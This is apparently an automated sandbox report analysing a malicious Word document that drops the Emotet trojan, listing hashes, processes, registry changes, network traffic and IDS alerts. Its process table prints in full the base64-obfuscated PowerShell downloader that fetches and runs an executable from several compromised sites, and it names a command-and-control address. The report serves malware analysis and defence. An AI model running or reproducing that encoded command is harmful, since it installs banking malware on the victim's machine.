| File name: | 2019-May-23-P421- 611975858.doc |
| Full analysis: | https://app.any.run/tasks/aff95ad3-b490-44d9-9e62-46f2937199f7 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | May 24, 2019, 22:12:58 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Berkshire, Subject: parallelism, Author: Dan Adams, Comments: Intelligent implement local, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu May 23 19:50:00 2019, Last Saved Time/Date: Thu May 23 19:50:00 2019, Number of Pages: 1, Number of Words: 16, Number of Characters: 94, Security: 0 |
| MD5: | EFC5621E47DA4F2C66C26E073C6EFEEA |
| SHA1: | EFA61C946C394BEFFC61FACCAD3C2AD5A9F70AC3 |
| SHA256: | A5FA7AE75471E1C44FCAFCF36D6E5B841C2ECC64C97B139D1F531FED63CC82F6 |
| SSDEEP: | 3072:P77HUUUUUEtyXcyhUUUUUUUUUUUUUTkOQeou5U8qAjXhxR2:P77HUUUUUEtyXcyhUUUUUUUUUUUUUT5i |
MALICIOUS
Downloads executable files from the Internet
- powershell.exe (PID: 1004)
Application was dropped or rewritten from another process
- 305.exe (PID: 3064)
- 305.exe (PID: 3556)
- soundser.exe (PID: 2756)
- soundser.exe (PID: 1404)
- hskMqVLFQ.exe (PID: 2676)
- hskMqVLFQ.exe (PID: 3684)
- soundser.exe (PID: 996)
- soundser.exe (PID: 2148)
Emotet process was detected
- soundser.exe (PID: 2756)
- soundser.exe (PID: 2148)
Changes the autorun value in the registry
- soundser.exe (PID: 1404)
EMOTET was detected
- soundser.exe (PID: 1404)
Connects to CnC server
- soundser.exe (PID: 1404)
SUSPICIOUS
PowerShell script executed
- powershell.exe (PID: 1004)
Executed via WMI
- powershell.exe (PID: 1004)
Creates files in the user directory
- powershell.exe (PID: 1004)
Executable content was dropped or overwritten
- powershell.exe (PID: 1004)
- 305.exe (PID: 3556)
- soundser.exe (PID: 1404)
- hskMqVLFQ.exe (PID: 3684)
Application launched itself
- 305.exe (PID: 3064)
- soundser.exe (PID: 2756)
- hskMqVLFQ.exe (PID: 2676)
- soundser.exe (PID: 2148)
Starts itself from another location
- 305.exe (PID: 3556)
- hskMqVLFQ.exe (PID: 3684)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 3280)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 3280)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | Berkshire |
|---|---|
| Subject: | parallelism |
| Author: | Dan Adams |
| Keywords: | - |
| Comments: | Intelligent implement local |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:05:23 18:50:00 |
| ModifyDate: | 2019:05:23 18:50:00 |
| Pages: | 1 |
| Words: | 16 |
| Characters: | 94 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | Raynor Group |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 109 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
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| Manager: | Tremblay |
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
44
Monitored processes
10
Malicious processes
8
Suspicious processes
0
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 996 | --3ab57678 | C:\Users\admin\AppData\Local\soundser\soundser.exe | — | soundser.exe | |||||||||||
User: admin Company: VMware, Inc. Integrity Level: MEDIUM Description: VMware Resolution Set Exit code: 0 Version: 9.6.2.31837 Modules
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| 1004 | powershell -nop -e JAB0AHoAMAAwAFMAQwB1AGsAPQAnAGYAYwBCAEYAZAB6AG0AUwAnADsAJABJAEwASwBJAHUAOQAyACAAPQAgACcAMwAwADUAJwA7ACQAUQBoAGQAQQB6AHIAVwA4AD0AJwByAEcAagBDAEgAcQBFADIAJwA7ACQAQwBKAHQAaABGAG8AUQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBMAEsASQB1ADkAMgArACcALgBlAHgAZQAnADsAJABhAEIAZgBwAEQASQBGAHIAPQAnAGoAaQBtAEUAaQBQACcAOwAkAE8AQwBpAEEAWABiAHAAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgAnACsAJwBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQBUAC4AYABXAEUAYgBDAGwAaQBgAEUAbgBUADsAJABWADAAOQB3AHUAZgA9ACcAaAB0AHQAcAA6AC8ALwBhAHYAYwBpAGwAYQByAGUAeABjAGwAdQBzAGkAdgBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AeQA4AHIAZABpADEAegA3ADkAMwA1AC8AQABoAHQAdABwAHMAOgAvAC8AaABlAG4AcgB5AGwAYQBuAGQAZwByAGUAYgBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AYQA5ADUAMwA4ADQAMwAvAEAAaAB0AHQAcAA6AC8ALwBtAGEAYQBtAGUAYQBuAGkAbQBhAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AYQB4AGIAeAAwADEAMQA1AC8AQABoAHQAdABwADoALwAvAGMAeQBiAGUAcgBzAGUAYwB1AHIAaQB0AHkAZgBvAHIAeQBvAHUAcgBiAHUAcwBpAG4AZQBzAHMALgBjAG8AbQAvAG8AbABkAF8AZgBvAGwAZABlAHIALwBnAHoAZgBpAHUAdAB2ADQANQA0ADkAMAAvAEAAaAB0AHQAcAA6AC8ALwBxAHMAcQB1AGkAZAAuAGMAbwBtAC8AdABmAHYAYQAvAHYAMwA2ADAALwAnAC4AUwBwAEwASQB0ACgAJwBAACcAKQA7ACQAWQBWAFgAbwBJADMAegBWAD0AJwBTAEcAaQBjAG4ARQAnADsAZgBvAHIAZQBhAGMAaAAoACQAYQBFAE4AMwBxAGwAaAA2ACAAaQBuACAAJABWADAAOQB3AHUAZgApAHsAdAByAHkAewAkAE8AQwBpAEEAWABiAHAALgBkAG8AVwBOAEwATwBhAEQARgBJAGwAZQAoACQAYQBFAE4AMwBxAGwAaAA2ACwAIAAkAEMASgB0AGgARgBvAFEAKQA7ACQAQgB3ADkAcQBtAHAAPQAnAEwAUgBpAGYAaQA0AEsAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABDAEoAdABoAEYAbwBRACkALgBsAEUATgBHAHQAaAAgAC0AZwBlACAAMgAxADgANQAwACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAFQAYQBSAFQAKAAkAEMASgB0AGgARgBvAFEAKQA7ACQAVgAzADQAbgA0AHQAPQAnAFIAUQBrAE8ANgBpACcAOwBiAHIAZQBhAGsAOwAkAEsAcwBCAHcAdQBzAD0AJwBoAGYAMgA4AGoAZAA4AGMAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAaABqAGEAWgA2AFAAPQAnAFEAVQB2AF8AWAA4AHoAJwA= | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 1404 | --3ab57678 | C:\Users\admin\AppData\Local\soundser\soundser.exe | soundser.exe | ||||||||||||
User: admin Company: VMware, Inc. Integrity Level: MEDIUM Description: VMware Resolution Set Exit code: 0 Version: 9.6.2.31837 Modules
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| 2148 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" | C:\Users\admin\AppData\Local\soundser\soundser.exe | hskMqVLFQ.exe | ||||||||||||
User: admin Company: VMware, Inc. Integrity Level: MEDIUM Description: VMware Resolution Set Exit code: 0 Version: 9.6.2.31837 Modules
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| 2676 | "C:\Users\admin\AppData\Local\soundser\hskMqVLFQ.exe" | C:\Users\admin\AppData\Local\soundser\hskMqVLFQ.exe | — | soundser.exe | |||||||||||
User: admin Company: VMware, Inc. Integrity Level: MEDIUM Description: VMware Resolution Set Exit code: 0 Version: 9.6.2.31837 Modules
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| 2756 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" | C:\Users\admin\AppData\Local\soundser\soundser.exe | 305.exe | ||||||||||||
User: admin Company: VMware, Inc. Integrity Level: MEDIUM Description: VMware Resolution Set Exit code: 0 Version: 9.6.2.31837 Modules
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| 3064 | "C:\Users\admin\305.exe" | C:\Users\admin\305.exe | — | powershell.exe | |||||||||||
User: admin Company: VMware, Inc. Integrity Level: MEDIUM Description: VMware Resolution Set Exit code: 0 Version: 9.6.2.31837 Modules
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| 3280 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\2019-May-23-P421- 611975858.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
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| 3556 | --7f889636 | C:\Users\admin\305.exe | 305.exe | ||||||||||||
User: admin Company: VMware, Inc. Integrity Level: MEDIUM Description: VMware Resolution Set Exit code: 0 Version: 9.6.2.31837 Modules
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| 3684 | --3c1ba6e6 | C:\Users\admin\AppData\Local\soundser\hskMqVLFQ.exe | hskMqVLFQ.exe | ||||||||||||
User: admin Company: VMware, Inc. Integrity Level: MEDIUM Description: VMware Resolution Set Exit code: 0 Version: 9.6.2.31837 Modules
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Total events
1 745
Read events
1 263
Write events
477
Delete events
5
Modification events
| (PID) Process: | (3280) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | ,f> |
Value: 2C663E00D00C0000010000000000000000000000 | |||
| (PID) Process: | (3280) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (3280) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (3280) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1320681502 | |||
| (PID) Process: | (3280) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1320681616 | |||
| (PID) Process: | (3280) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1320681617 | |||
| (PID) Process: | (3280) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: D00C0000E07AB5E77D12D50100000000 | |||
| (PID) Process: | (3280) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | h> |
Value: 20683E00D00C000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3280) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | h> |
Value: 20683E00D00C000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3280) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
5
Suspicious files
2
Text files
0
Unknown types
9
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3280 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRFA2C.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 1004 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0Z4MOVTEVFZMNDH3DI3X.temp | — | |
MD5:— | SHA256:— | |||
| 3280 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\48933108.wmf | wmf | |
MD5:— | SHA256:— | |||
| 3280 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 3280 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 3280 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$19-May-23-P421- 611975858.doc | pgc | |
MD5:— | SHA256:— | |||
| 3280 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2827256A.wmf | wmf | |
MD5:— | SHA256:— | |||
| 1004 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF120b24.TMP | binary | |
MD5:— | SHA256:— | |||
| 3280 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\44DBE1CD.wmf | wmf | |
MD5:— | SHA256:— | |||
| 3280 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1ECAAD69.wmf | wmf | |
MD5:— | SHA256:— | |||
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HTTP(S) requests
5
TCP/UDP connections
8
DNS requests
4
Threats
9
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1004 | powershell.exe | GET | 200 | 107.180.77.195:80 | http://cybersecurityforyourbusiness.com/old_folder/gzfiutv45490/ | US | executable | 107 Kb | suspicious |
1404 | soundser.exe | POST | 200 | 159.65.241.220:8080 | http://159.65.241.220:8080/mult/pdf/ | US | binary | 81.1 Kb | malicious |
1004 | powershell.exe | GET | 302 | 144.121.69.89:80 | http://maameanima.com/cgi-bin/axbx0115/ | US | html | 231 b | suspicious |
1004 | powershell.exe | GET | 200 | 144.121.69.89:80 | http://maameanima.com/cgi-sys/suspendedpage.cgi | US | html | 7.41 Kb | suspicious |
1004 | powershell.exe | GET | 301 | 78.142.209.32:80 | http://avcilarexclusive.com/wp-content/y8rdi1z7935/ | RU | — | — | suspicious |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1004 | powershell.exe | 78.142.209.32:443 | avcilarexclusive.com | JSC Mediasoft ekspert | RU | suspicious |
1004 | powershell.exe | 78.142.209.32:80 | avcilarexclusive.com | JSC Mediasoft ekspert | RU | suspicious |
1004 | powershell.exe | 160.153.140.243:443 | henrylandgrebe.com | GoDaddy.com, LLC | US | unknown |
1004 | powershell.exe | 144.121.69.89:80 | maameanima.com | Lightower Fiber Networks I, LLC | US | suspicious |
1004 | powershell.exe | 107.180.77.195:80 | cybersecurityforyourbusiness.com | GoDaddy.com, LLC | US | suspicious |
1404 | soundser.exe | 159.65.241.220:8080 | — | — | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
avcilarexclusive.com |
| suspicious |
henrylandgrebe.com |
| unknown |
maameanima.com |
| suspicious |
cybersecurityforyourbusiness.com |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1004 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
1004 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
1004 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
1004 | powershell.exe | Misc activity | ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging) |
1004 | powershell.exe | Misc activity | ET INFO EXE CheckRemoteDebuggerPresent (Used in Malware Anti-Debugging) |
1404 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
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